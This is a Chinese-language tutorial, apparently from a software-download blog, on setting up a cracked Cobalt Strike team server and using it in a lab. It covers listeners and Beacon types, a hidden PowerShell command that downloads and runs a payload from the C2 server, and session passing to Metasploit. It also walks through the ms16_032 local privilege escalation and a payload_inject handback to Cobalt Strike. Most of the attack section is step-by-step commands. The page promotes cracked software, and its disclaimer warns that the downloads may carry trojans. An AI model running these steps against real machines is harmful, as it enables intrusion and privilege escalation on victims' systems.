CS使用方法简单介绍部署CS的使用监听器攻击载荷payload提权操作(与kali进行联动)
CS使用方法
简单介绍
CS有两个,客户端和服务端,服务端可以部署在VPS上,客户端进行连接。
部署
-
查看vps是否有java环境:有就进行下一步,没有就安装java环境1.8
┌──(root㉿kali)-[/home/kali/Desktop/CS_server/Server]
└─# java -version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk version "17.0.10-ea" 2024-01-16
OpenJDK Runtime Environment (build 17.0.10-ea+6-Debian-1)
OpenJDK 64-Bit Server VM (build 17.0.10-ea+6-Debian-1, mixed mode, sharing)
这里看到是有java17环境的,我们就进行下一步。
若没有java环境我们使用命令进行安装java环境:
(kali环境下安装)
1.更新软件包列表:
首先,确保您的软件包列表是最新的,使用以下命令更新:
sudo apt update
2.安装 OpenJDK:
在更新软件包列表后,您可以使用以下命令安装 OpenJDK
sudo apt install default-jdk
这将安装默认的 OpenJDK 版本。如果您想要特定版本的 OpenJDK,您可以替换 default-jdk 为相应的包名,例如 openjdk-11-jdk。
3.验证安装:
安装完成后,您可以使用以下命令验证 Java 安装是否成功:
java -version
这将显示已安装的 Java 版本信息。
4.设置 JAVA_HOME 环境变量(可选):
在某些情况下,您可能需要设置 JAVA_HOME 环境变量,以便系统中的其他程序能够找到 Java 的安装路径。您可以编辑 ~/.bashrc 文件并添加以下行:
export JAVA_HOME=/usr/lib/jvm/default-java
export PATH=$PATH:$JAVA_HOME/bin
请根据您的实际安装路径进行相应修改。
5.刷新环境变量:
更新 ~/.bashrc 文件后,使用以下命令使更改生效:
source ~/.bashrc
通过执行以上步骤,您应该能够在 Kali Linux 上成功安装 OpenJDK 环境。请注意,默认情况下,Kali Linux 已经包含了一些预安装的软件包,但如果您需要特定版本的 Java,则需要使用适当的软件包进行安装。
(centos安装openjdk环境)
1.更新软件包列表:
首先,确保您的软件包列表是最新的,使用以下命令更新:
sudo yum update
2.安装 OpenJDK:
在更新软件包列表后,您可以使用以下命令安装 OpenJDK:
sudo yum install java-1.8.0-openjdk
如果您想要安装其他版本的 OpenJDK,您可以使用相应的软件包名称。例如,安装 OpenJDK 11 可以使用 java-11-openjdk。
3.验证安装:
安装完成后,您可以使用以下命令验证 Java 安装是否成功:
java -version
这将显示已安装的 Java 版本信息。
4.设置 JAVA_HOME 环境变量(可选):
在某些情况下,您可能需要设置 JAVA_HOME 环境变量,以便系统中的其他程序能够找到 Java 的安装路径。您可以编辑 /etc/profile 或 ~/.bash_profile 文件并添加以下行:
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export PATH=$PATH:$JAVA_HOME/bin
请根据您的实际安装路径进行相应修改。
4.刷新环境变量:
更新配置文件后,使用以下命令使更改生效:
source /etc/profile
通过执行以上步骤,您应该能够在 CentOS 上成功安装 OpenJDK 环境。请注意,OpenJDK 是 Java 的开源实现,通常与 Oracle JDK 相兼容,并且在大多数情况下可以满足需求。
-
将CobaltStrike的Server端内容传送到VPS服务器(通过scp命令将本地win文件传送到vps服务器)
命令:
scp local_file username@hostname:remote_path
将local_file替换为要传输的文件路径
remote_path替换为主机上目标路径
将E:\AttackTools\CobaltSrike_4.9.1_Cracked下的Server文件传送到Vps上的/目录上:
scp E:\AttackTools\CobaltSrike_4.9.1_Cracked [email protected]:/
这样报错E:/AttackTools/CobaltSrike_4.9.1_Cracked: not a regular file,
我们修改后:
scp -r E:/AttackTools/CobaltSrike_4.9.1_Cracked [email protected]:/
注意:
我们传送的是一个文件,需要使用-r进行递归
在windows环境下我们需要使用/路径
-
赋予权限:初始权限可能不够执行程序的,故开始赋予权限。
chmod 777 文件名 赋予读写执行所有权限
chmod +x 文件名 仅赋予执行权限
这里注意需要将teamserver文件和TeamServer文件都赋值x权限。
-
开始启动软件服务
./teamserver vps的IP 密码
这里我们在kali上进行的部署:
kali的ip:192.168.100.130
./teamserver 192.168.100.130 123456
CS默认是50050端口,想更改的话,打开teamsever文件在其中将50050进行修改即可。
windows主机进行连接:
成功连接!!
-
网络上有教程说退出后就不再运行了问题。
链接:
https://blog.csdn.net/qq89115156/article/details/112385723#:~:text=%E5%85%AC%E7%BD%91%E6%9C%8D%E5%8A%A1%E5%99%A8%EF%BC%9ACentOS%207.6%2064%E4%BD%8D%E6%9C%AC%E6%9C%BA%E5%B7%B2%E4%B8%8B%E8%BD%BD%E5%A5%BD%EF%BC%9Acobaltstrike%203.14%2B%E6%AD%A3%E5%BC%8F%E7%89%88%E7%A0%B4%E8%A7%A3%2B%E6%B1%89%E5%8C%96%E4%B8%80.%20%E5%AE%89%E8%A3%85JAVA%20%E7%8E%AF%E5%A2%83yum%20install%20-y,%E7%94%A8%E4%BA%8E%E6%96%87%E4%BB%B6%E7%9A%84%E4%B8%8A%E4%BC%A0%20%E4%B8%8E%E4%B8%8B%E8%BD%BDyum%20install%20-y%20lrzsz%E5%AE%89%E8%A3%85%E5%AE%8C%E6%88%90%20%E5%B0%9D%E8%AF%95%20%E8%BE%93%E5%85%A5%20rz%E5%9B%9B..._centos%E5%90%8E%E5%8F%B0%E8%BF%90%E8%A1%8Ccobalstrika
解决:
安装screen
yum -y install screen
安装完成后启动CS服务。
然后ctrl+a+d关闭窗口并后台执行。
screen-ls查看。
screen -r 数字重新进入会话。
CS的使用
上线CS三步:
1.设置监听器
2.生成payload攻击载荷
3.目标机器运行,进行上线
监听器
CS内部有很多模块,但是使用CS首先就是要配置监听!!
参考链接:
https://blog.csdn.net/qq_44159028/article/details/118157559
在我们建立新的监听器的时候,发现可选的payload类型有很多:
这里需要进行解释:
-
Beacon是什么?
·Beacon是CS的Payload
·Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。
·通过HTTP、HTTPS和DNS出口网络
·使用SMB协议的时候是点对点通信
·Beacon有很多的后渗透攻击模块和远程管理工具-
-
Foreign
Foreign直译就是外部的,这里可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload,个人理解Foreign监听器在一定程度上提高了CS的兼容性。对外监听器的名称例如:
windows/foreign/reverse_https
-
Beacon类型?
HTTP 和 HTTPS Beacon
HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据
windows/beacon_http/reverse_http
windows/beacon_https/reverse_httpsDNS Beacon
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_httpSMB Beacon
SMB Beacon也可以叫做pipe beacon
windows/beacon_smb/bind_pipe
DNS Beacon解释:
DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。
DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务
在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方
优点:木马隐蔽性好,受害者不开放任何端口,可以规避防火墙,走53端口
缺点:响应速度慢
攻击载荷payload
在此处的payload有很多类型,我们先解释常用的一个:
Attacks-->Scripted Web Deliver(s)--获得链接-->在对应系统内进行cmd执行即可
成功上线!!
这里的思路是:获得对应主机的shell,然后我们执行这个操作,将会话传递到CS上进行操作,CS也可以将会话传到MSF,MSF模块有很多,对提权很有帮助,然后MSF也可将提权后的会话还给CS。
提权操作(与kali进行联动)
这里使用的是CS4.7版本!!!
环境:
悬剑win11作为CS客户端:192.168.100.147
kali2023作为CS服务端:192.168.100.130
kali2022作为msf攻击机:192.168.100.128
win8-64作为被攻击机:192.168.100.144
示意图:
-
kali已经启动CS4.5服务,悬剑也已经连接了CS服务器,并且配置了监听器。
-
配置payload并执行
这里点击web投递。
这里选择监听器后之际运行即可。
点击运行之后会给出一个命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.100.130:80/a'))"
这个命令我们在win8-64的cmd窗口运行即可!
-
上线了
在interact界面输入:
sleep 1
意思是每一秒刷新一次。
ok!!!
-
增加一个监听器(监听外部的kali的msf)
-
进入kali的msf界面进行监听
handler -H 192.168.100.128 -P 6666 -p windows/meterpreter/reverse_http
kali的IP 端口 msf的模块监听成功!!
-
进入CS选择对应MSF的监听
-
回到kali的msf界面查看
成功得到shell!!
-
MSF的建议(suggest模块multi/recon/local_exploit_suggester)进行提权操作
一些msf的命令:
sessions -l 查看所有获得的shell
sessions -i xx 使用xx的shell
getuid 查看这个shell的权限
bg 挂起shell放在后台
search suggest 列出建议
use 使用模块
set session 1 将模块的目标设置为session1的会话
options 显示模块的设置选项
run 运行
clear 清屏
info 查看特定模块的详细信息
-
得到shell后首先看这个shell的权限
显示所有的会话:
sessions -l
选择这个会话:
sessions -i 1
查看权限:
getuid
挂起会话到后台:
bg
查找建议模块:
search suggest
这里看到suggest模块在第二位,我们进行选择使用。
选择第二位的suggest模块:
use 2
将模块目标设置为session1:
set session 1
查看search模块的选项:
show options
运行:
run
运行后的结果:
-
使用第三位的(exploit/windows/local/ms16_032_secondary_logon_handle_privesc)进行提权操作。
使用这个提权模块:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
展示配置:
show options
设置参数:
set session 1 将模块目标设置为session1
执行:
run
提权成功!!!
-
将提权后的shell传送给CS
-
将提权后的shell挂起在后台
将会话放在后台:
bg
这里看到挂起后的shell是session2。
-
查找(payload_injuct模块),进行使用
查找:
search payload_inject
选择使用:
use 0
展示选项:
show options
设置payload的目标:
set payload windows/meterpreter/reverse_http
设置lhost:
set lhost 192.168.100.130 这里是cs服务器的IP
set lport 5555 这个是win11监听的端口
将session2也就是提权后的session注入进去:
set session 2
运行:
run
注入session成功,看到PID是3192!!
-
进入CS查看是否反弹成功
注入成功!!!
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)